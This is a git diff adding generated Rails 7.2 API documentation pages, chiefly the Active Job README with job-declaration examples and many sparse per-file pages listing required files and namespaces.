diff --git a/src/7.2/files/actionview/lib/action_view_rb.html b/src/7.2/files/actionview/lib/action_view_rb.html new file mode 100644 index 0000000000..b00c658a2a --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view_rb.html @@ -0,0 +1,86 @@ +--- +title: action_view.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support
  • + +
  • active_support/rails
  • + +
  • action_view/version
  • + +
  • action_view/deprecator
  • + +
  • active_support/core_ext/string/output_safety
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/README_md.html b/src/7.2/files/activejob/README_md.html new file mode 100644 index 0000000000..549c64925e --- /dev/null +++ b/src/7.2/files/activejob/README_md.html @@ -0,0 +1,164 @@ +--- +title: README.md +layout: default +--- +
+ + +
+
+ +
+ +

Active Job – Make work happen later

+ +

Active Job is a framework for declaring jobs and making them run on a variety of queuing backends. These jobs can be everything from regularly scheduled clean-ups, to billing charges, to mailings β€” anything that can be chopped up into small units of work and run in parallel.

+ +

It also serves as the backend for Action Mailer’s deliver_later functionality that makes it easy to turn any mailing into a job for running later. That’s one of the most common jobs in a modern web application: sending emails outside the request-response cycle, so the user doesn’t have to wait on it.

+ +

The main point is to ensure that all Rails apps will have a job infrastructure in place, even if it’s in the form of an β€œimmediate runner”. We can then have framework features and other gems build on top of that, without having to worry about API differences between Delayed Job and Resque. Picking your queuing backend becomes more of an operational concern, then. And you’ll be able to switch between them without having to rewrite your jobs.

+ +

You can read more about Active Job in the Active Job Basics guide.

+ +

Usage

+ +

To learn how to use your preferred queuing backend see its adapter documentation at ActiveJob::QueueAdapters.

+ +

Declare a job like so:

+ +
class MyJob < ActiveJob::Base
+  queue_as :my_jobs
+
+  def perform(record)
+    record.do_work
+  end
+end
+
+ +

Enqueue a job like so:

+ +
MyJob.perform_later record  # Enqueue a job to be performed as soon as the queuing system is free.
+
+ +
MyJob.set(wait_until: Date.tomorrow.noon).perform_later(record)  # Enqueue a job to be performed tomorrow at noon.
+
+ +
MyJob.set(wait: 1.week).perform_later(record) # Enqueue a job to be performed 1 week from now.
+
+ +

That’s it!

+ +

GlobalID support

+ +

Active Job supports GlobalID serialization for parameters. This makes it possible to pass live Active Record objects to your job instead of class/id pairs, which you then have to manually deserialize. Before, jobs would look like this:

+ +
class TrashableCleanupJob
+  def perform(trashable_class, trashable_id, depth)
+    trashable = trashable_class.constantize.find(trashable_id)
+    trashable.cleanup(depth)
+  end
+end
+
+ +

Now you can simply do:

+ +
class TrashableCleanupJob
+  def perform(trashable, depth)
+    trashable.cleanup(depth)
+  end
+end
+
+ +

This works with any class that mixes in GlobalID::Identification, which by default has been mixed into Active Record classes.

+ +

Supported queuing systems

+ +

Active Job has built-in adapters for multiple queuing backends (Sidekiq, Resque, Delayed Job and others). To get an up-to-date list of the adapters see the API Documentation for ActiveJob::QueueAdapters.

+ +

Please note: We are not accepting pull requests for new adapters. We encourage library authors to provide an ActiveJob adapter as part of their gem, or as a stand-alone gem. For discussion about this see the following PRs: 23311, 21406, and #32285.

+ +

Download and installation

+ +

The latest version of Active Job can be installed with RubyGems:

+ +
$ gem install activejob
+
+ +

Source code can be downloaded as part of the Rails project on GitHub:

+ + +

License

+ +

Active Job is released under the MIT license:

+ + +

Support

+ +

API documentation is at:

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/arguments_rb.html b/src/7.2/files/activejob/lib/active_job/arguments_rb.html new file mode 100644 index 0000000000..dd339c1a10 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/arguments_rb.html @@ -0,0 +1,93 @@ +--- +title: arguments.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • bigdecimal
  • + +
  • active_support/core_ext/hash
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/base_rb.html b/src/7.2/files/activejob/lib/active_job/base_rb.html new file mode 100644 index 0000000000..b1aa2b3831 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/base_rb.html @@ -0,0 +1,109 @@ +--- +title: base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_job/core
  • + +
  • active_job/queue_adapter
  • + +
  • active_job/queue_name
  • + +
  • active_job/queue_priority
  • + +
  • active_job/enqueuing
  • + +
  • active_job/execution
  • + +
  • active_job/callbacks
  • + +
  • active_job/exceptions
  • + +
  • active_job/log_subscriber
  • + +
  • active_job/logging
  • + +
  • active_job/instrumentation
  • + +
  • active_job/timezones
  • + +
  • active_job/translation
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/callbacks_rb.html b/src/7.2/files/activejob/lib/active_job/callbacks_rb.html new file mode 100644 index 0000000000..63401737ab --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/callbacks_rb.html @@ -0,0 +1,84 @@ +--- +title: callbacks.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/callbacks
  • + +
  • active_support/core_ext/module/attribute_accessors
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/configured_job_rb.html b/src/7.2/files/activejob/lib/active_job/configured_job_rb.html new file mode 100644 index 0000000000..ba369963d6 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/configured_job_rb.html @@ -0,0 +1,70 @@ +--- +title: configured_job.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/core_rb.html b/src/7.2/files/activejob/lib/active_job/core_rb.html new file mode 100644 index 0000000000..59bf2a3684 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/core_rb.html @@ -0,0 +1,74 @@ +--- +title: core.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/deprecator_rb.html b/src/7.2/files/activejob/lib/active_job/deprecator_rb.html new file mode 100644 index 0000000000..d4ad25b645 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/deprecator_rb.html @@ -0,0 +1,72 @@ +--- +title: deprecator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/enqueue_after_transaction_commit_rb.html b/src/7.2/files/activejob/lib/active_job/enqueue_after_transaction_commit_rb.html new file mode 100644 index 0000000000..e8a40cbd77 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/enqueue_after_transaction_commit_rb.html @@ -0,0 +1,70 @@ +--- +title: enqueue_after_transaction_commit.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/enqueuing_rb.html b/src/7.2/files/activejob/lib/active_job/enqueuing_rb.html new file mode 100644 index 0000000000..37cbe9dbc2 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/enqueuing_rb.html @@ -0,0 +1,81 @@ +--- +title: enqueuing.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/exceptions_rb.html b/src/7.2/files/activejob/lib/active_job/exceptions_rb.html new file mode 100644 index 0000000000..fe745205d7 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/exceptions_rb.html @@ -0,0 +1,84 @@ +--- +title: exceptions.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/numeric/time
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/execution_rb.html b/src/7.2/files/activejob/lib/active_job/execution_rb.html new file mode 100644 index 0000000000..b9d1a9f1de --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/execution_rb.html @@ -0,0 +1,84 @@ +--- +title: execution.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/rescuable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/gem_version_rb.html b/src/7.2/files/activejob/lib/active_job/gem_version_rb.html new file mode 100644 index 0000000000..639c9a0ec5 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/gem_version_rb.html @@ -0,0 +1,72 @@ +--- +title: gem_version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/instrumentation_rb.html b/src/7.2/files/activejob/lib/active_job/instrumentation_rb.html new file mode 100644 index 0000000000..dbd08818c3 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/instrumentation_rb.html @@ -0,0 +1,72 @@ +--- +title: instrumentation.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/log_subscriber_rb.html b/src/7.2/files/activejob/lib/active_job/log_subscriber_rb.html new file mode 100644 index 0000000000..502d0105f6 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/log_subscriber_rb.html @@ -0,0 +1,80 @@ +--- +title: log_subscriber.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/log_subscriber
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/logging_rb.html b/src/7.2/files/activejob/lib/active_job/logging_rb.html new file mode 100644 index 0000000000..92647bd639 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/logging_rb.html @@ -0,0 +1,82 @@ +--- +title: logging.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/tagged_logging
  • + +
  • active_support/logger
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_adapter_rb.html b/src/7.2/files/activejob/lib/active_job/queue_adapter_rb.html new file mode 100644 index 0000000000..f804771088 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_adapter_rb.html @@ -0,0 +1,82 @@ +--- +title: queue_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/inflections
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_adapters/abstract_adapter_rb.html b/src/7.2/files/activejob/lib/active_job/queue_adapters/abstract_adapter_rb.html new file mode 100644 index 0000000000..393b33852e --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_adapters/abstract_adapter_rb.html @@ -0,0 +1,79 @@ +--- +title: abstract_adapter.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_adapters/async_adapter_rb.html b/src/7.2/files/activejob/lib/active_job/queue_adapters/async_adapter_rb.html new file mode 100644 index 0000000000..c1d02d6f5f --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_adapters/async_adapter_rb.html @@ -0,0 +1,93 @@ +--- +title: async_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • securerandom
  • + +
  • concurrent/scheduled_task
  • + +
  • concurrent/executor/thread_pool_executor
  • + +
  • concurrent/utility/processor_counter
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_adapters/backburner_adapter_rb.html b/src/7.2/files/activejob/lib/active_job/queue_adapters/backburner_adapter_rb.html new file mode 100644 index 0000000000..47523ed2c7 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_adapters/backburner_adapter_rb.html @@ -0,0 +1,87 @@ +--- +title: backburner_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • backburner
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_adapters/delayed_job_adapter_rb.html b/src/7.2/files/activejob/lib/active_job/queue_adapters/delayed_job_adapter_rb.html new file mode 100644 index 0000000000..8eae205740 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_adapters/delayed_job_adapter_rb.html @@ -0,0 +1,89 @@ +--- +title: delayed_job_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • delayed_job
  • + +
  • active_support/core_ext/string/inflections
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_adapters/inline_adapter_rb.html b/src/7.2/files/activejob/lib/active_job/queue_adapters/inline_adapter_rb.html new file mode 100644 index 0000000000..7dbbe5b1e8 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_adapters/inline_adapter_rb.html @@ -0,0 +1,79 @@ +--- +title: inline_adapter.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_adapters/queue_classic_adapter_rb.html b/src/7.2/files/activejob/lib/active_job/queue_adapters/queue_classic_adapter_rb.html new file mode 100644 index 0000000000..96ab60e2fd --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_adapters/queue_classic_adapter_rb.html @@ -0,0 +1,87 @@ +--- +title: queue_classic_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • queue_classic
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_adapters/resque_adapter_rb.html b/src/7.2/files/activejob/lib/active_job/queue_adapters/resque_adapter_rb.html new file mode 100644 index 0000000000..9866af28f8 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_adapters/resque_adapter_rb.html @@ -0,0 +1,95 @@ +--- +title: resque_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • resque
  • + +
  • active_support/core_ext/enumerable
  • + +
  • active_support/core_ext/array/access
  • + +
  • resque-scheduler
  • + +
  • resque_scheduler
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_adapters/sidekiq_adapter_rb.html b/src/7.2/files/activejob/lib/active_job/queue_adapters/sidekiq_adapter_rb.html new file mode 100644 index 0000000000..67f7446f42 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_adapters/sidekiq_adapter_rb.html @@ -0,0 +1,87 @@ +--- +title: sidekiq_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • sidekiq
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_adapters/sneakers_adapter_rb.html b/src/7.2/files/activejob/lib/active_job/queue_adapters/sneakers_adapter_rb.html new file mode 100644 index 0000000000..dadd94f65d --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_adapters/sneakers_adapter_rb.html @@ -0,0 +1,91 @@ +--- +title: sneakers_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • sneakers
  • + +
  • monitor
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_adapters/sucker_punch_adapter_rb.html b/src/7.2/files/activejob/lib/active_job/queue_adapters/sucker_punch_adapter_rb.html new file mode 100644 index 0000000000..8066b76265 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_adapters/sucker_punch_adapter_rb.html @@ -0,0 +1,87 @@ +--- +title: sucker_punch_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • sucker_punch
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_adapters/test_adapter_rb.html b/src/7.2/files/activejob/lib/active_job/queue_adapters/test_adapter_rb.html new file mode 100644 index 0000000000..ecff47d8a2 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_adapters/test_adapter_rb.html @@ -0,0 +1,79 @@ +--- +title: test_adapter.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_adapters_rb.html b/src/7.2/files/activejob/lib/active_job/queue_adapters_rb.html new file mode 100644 index 0000000000..ddf268b694 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_adapters_rb.html @@ -0,0 +1,72 @@ +--- +title: queue_adapters.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_name_rb.html b/src/7.2/files/activejob/lib/active_job/queue_name_rb.html new file mode 100644 index 0000000000..596b9b5f96 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_name_rb.html @@ -0,0 +1,74 @@ +--- +title: queue_name.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/queue_priority_rb.html b/src/7.2/files/activejob/lib/active_job/queue_priority_rb.html new file mode 100644 index 0000000000..14677b3198 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/queue_priority_rb.html @@ -0,0 +1,74 @@ +--- +title: queue_priority.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/railtie_rb.html b/src/7.2/files/activejob/lib/active_job/railtie_rb.html new file mode 100644 index 0000000000..9e1204ccd8 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/railtie_rb.html @@ -0,0 +1,84 @@ +--- +title: railtie.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • global_id/railtie
  • + +
  • active_job
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/serializers/big_decimal_serializer_rb.html b/src/7.2/files/activejob/lib/active_job/serializers/big_decimal_serializer_rb.html new file mode 100644 index 0000000000..ab66542810 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/serializers/big_decimal_serializer_rb.html @@ -0,0 +1,80 @@ +--- +title: big_decimal_serializer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • bigdecimal
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/serializers/date_serializer_rb.html b/src/7.2/files/activejob/lib/active_job/serializers/date_serializer_rb.html new file mode 100644 index 0000000000..45a11c3693 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/serializers/date_serializer_rb.html @@ -0,0 +1,72 @@ +--- +title: date_serializer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/serializers/date_time_serializer_rb.html b/src/7.2/files/activejob/lib/active_job/serializers/date_time_serializer_rb.html new file mode 100644 index 0000000000..c98c0d8f0d --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/serializers/date_time_serializer_rb.html @@ -0,0 +1,72 @@ +--- +title: date_time_serializer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/serializers/duration_serializer_rb.html b/src/7.2/files/activejob/lib/active_job/serializers/duration_serializer_rb.html new file mode 100644 index 0000000000..bd018825ae --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/serializers/duration_serializer_rb.html @@ -0,0 +1,74 @@ +--- +title: duration_serializer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/serializers/module_serializer_rb.html b/src/7.2/files/activejob/lib/active_job/serializers/module_serializer_rb.html new file mode 100644 index 0000000000..57871e16c0 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/serializers/module_serializer_rb.html @@ -0,0 +1,72 @@ +--- +title: module_serializer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/serializers/object_serializer_rb.html b/src/7.2/files/activejob/lib/active_job/serializers/object_serializer_rb.html new file mode 100644 index 0000000000..ed3256c81e --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/serializers/object_serializer_rb.html @@ -0,0 +1,89 @@ +--- +title: object_serializer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • singleton
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/serializers/range_serializer_rb.html b/src/7.2/files/activejob/lib/active_job/serializers/range_serializer_rb.html new file mode 100644 index 0000000000..4638376180 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/serializers/range_serializer_rb.html @@ -0,0 +1,79 @@ +--- +title: range_serializer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/serializers/symbol_serializer_rb.html b/src/7.2/files/activejob/lib/active_job/serializers/symbol_serializer_rb.html new file mode 100644 index 0000000000..be64504681 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/serializers/symbol_serializer_rb.html @@ -0,0 +1,72 @@ +--- +title: symbol_serializer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/serializers/time_object_serializer_rb.html b/src/7.2/files/activejob/lib/active_job/serializers/time_object_serializer_rb.html new file mode 100644 index 0000000000..f9782b2b1d --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/serializers/time_object_serializer_rb.html @@ -0,0 +1,72 @@ +--- +title: time_object_serializer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/serializers/time_serializer_rb.html b/src/7.2/files/activejob/lib/active_job/serializers/time_serializer_rb.html new file mode 100644 index 0000000000..56c14b7750 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/serializers/time_serializer_rb.html @@ -0,0 +1,72 @@ +--- +title: time_serializer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/serializers/time_with_zone_serializer_rb.html b/src/7.2/files/activejob/lib/active_job/serializers/time_with_zone_serializer_rb.html new file mode 100644 index 0000000000..614fb5c1c6 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/serializers/time_with_zone_serializer_rb.html @@ -0,0 +1,74 @@ +--- +title: time_with_zone_serializer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/serializers_rb.html b/src/7.2/files/activejob/lib/active_job/serializers_rb.html new file mode 100644 index 0000000000..82e7cbc5a8 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/serializers_rb.html @@ -0,0 +1,82 @@ +--- +title: serializers.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • set
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/test_case_rb.html b/src/7.2/files/activejob/lib/active_job/test_case_rb.html new file mode 100644 index 0000000000..e971eaf2ff --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/test_case_rb.html @@ -0,0 +1,85 @@ +--- +title: test_case.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/test_case
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/test_helper_rb.html b/src/7.2/files/activejob/lib/active_job/test_helper_rb.html new file mode 100644 index 0000000000..4c45ed4e91 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/test_helper_rb.html @@ -0,0 +1,88 @@ +--- +title: test_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/class/subclasses
  • + +
  • active_support/testing/assertions
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/timezones_rb.html b/src/7.2/files/activejob/lib/active_job/timezones_rb.html new file mode 100644 index 0000000000..576a27cd98 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/timezones_rb.html @@ -0,0 +1,70 @@ +--- +title: timezones.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/translation_rb.html b/src/7.2/files/activejob/lib/active_job/translation_rb.html new file mode 100644 index 0000000000..28800e6d4b --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/translation_rb.html @@ -0,0 +1,70 @@ +--- +title: translation.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job/version_rb.html b/src/7.2/files/activejob/lib/active_job/version_rb.html new file mode 100644 index 0000000000..bd3402792e --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job/version_rb.html @@ -0,0 +1,70 @@ +--- +title: version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activejob/lib/active_job_rb.html b/src/7.2/files/activejob/lib/active_job_rb.html new file mode 100644 index 0000000000..f6efcd74d7 --- /dev/null +++ b/src/7.2/files/activejob/lib/active_job_rb.html @@ -0,0 +1,86 @@ +--- +title: active_job.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support
  • + +
  • active_support/rails
  • + +
  • active_job/version
  • + +
  • active_job/deprecator
  • + +
  • global_id
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/README_rdoc.html b/src/7.2/files/activemodel/README_rdoc.html new file mode 100644 index 0000000000..401ae40627 --- /dev/null +++ b/src/7.2/files/activemodel/README_rdoc.html @@ -0,0 +1,326 @@ +--- +title: README.rdoc +layout: default +--- +
+ + +
+
+ +
+ +

Active Model – model interfaces for Rails

+ +

